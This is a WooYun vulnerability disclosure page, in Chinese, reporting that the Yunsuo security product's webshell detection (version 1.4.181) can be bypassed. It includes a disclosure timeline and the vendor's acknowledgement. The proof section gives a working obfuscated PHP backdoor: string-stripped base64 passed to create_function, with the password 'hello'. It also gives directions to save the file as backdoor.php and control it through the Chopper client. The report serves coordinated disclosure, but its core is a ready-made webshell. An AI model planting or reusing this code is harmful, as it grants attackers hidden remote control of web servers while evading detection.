当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0127889

漏洞标题：最新版云锁1.4.181绕过webshell检测第一弹

相关厂商：云锁

漏洞作者： sOnsec

提交时间：2015-07-31 10:17

修复时间：2015-09-18 21:42

公开时间：2015-09-18 21:42

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-31： 细节已通知厂商并且等待厂商处理中
2015-08-04： 厂商已经确认，细节仅向厂商公开
2015-08-14： 细节向核心白帽子及相关领域专家公开
2015-08-24： 细节向普通白帽子公开
2015-09-03： 细节向实习白帽子公开
2015-09-18： 细节向公众公开

简要描述：

最新版云锁1.4.181绕过webshell检测，可以成功jianlian

详细说明：

绕过一句话木马检测

漏洞证明：

传统的一句话木马
<?php eval($_POST['X'])?>
可以被检测出来
以下面这种形式:

<?php
$obji="XgqBsYWgqNlKGFycmF5gqKgqCcvW15cdz1cc10vgqJywngqLgq1xzLygqcpLgqCBhcnJheSgnJy";
$nxmc="wnKycpLCBqb2luKgqGFycmgqF5X3NsaWNgqlKCRhLCRjKCRhKS0zKSkpKSk7ZWNgqobyAnPC8nLigqRrLic+Jzt9";
$zjdu="JGM9J2gqNvdW50JzskYT0kX0gqNPT0tJRTtpZihgqygqZXNldCgkYSk9PSdoZScggqJiYgJGMoJGEpPjgqMpgqeyg";
$elyg = str_replace("ab","","str_abreabplaabcabe");
$qthr="qRgqrPSdsbG8nO2gqVjaG8ggqJzwgqnLgqiRrLic+gqJztldmFsKgqGJhcgq2U2NF9kZWNvZGUocHJlZ19gqyZ";
$pmqr = $elyg("y", "", "ybyaysey64y_ydyeycyoyde");
$gnxh = $elyg("g","","cgrgegagtgeg_gfgugngcgtgigogn");
$gdep = $gnxh('', $pmqr($elyg("gq", "", $zjdu.$qthr.$obji.$nxmc))); $gdep();
?>


密码是hello
把上面的代码保存为backdoor.php,并可以连接菜刀.就可以绕过云锁的一句话木马的检查
可以看到并没有检测到4.php的一句话木马，并且可以成功链接

P.png


p2.png


P3.png


p4.png

修复方案：

- - 各种形式的变幻，不好检测吧，求礼物哈
厂商赶快修复吧，修复后会有第二弹...第N弹

版权声明：转载请注明来源 sOnsec@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-04 21:41

厂商回复：

感谢sOnsec对我们的关注。此问题是webshell检测没有此马的特征我们下个版本会加上此特征,云锁除了静态巡检查杀以外还有动态的拦截技术，我们会不断完善动态查杀技术。

最新状态：

暂无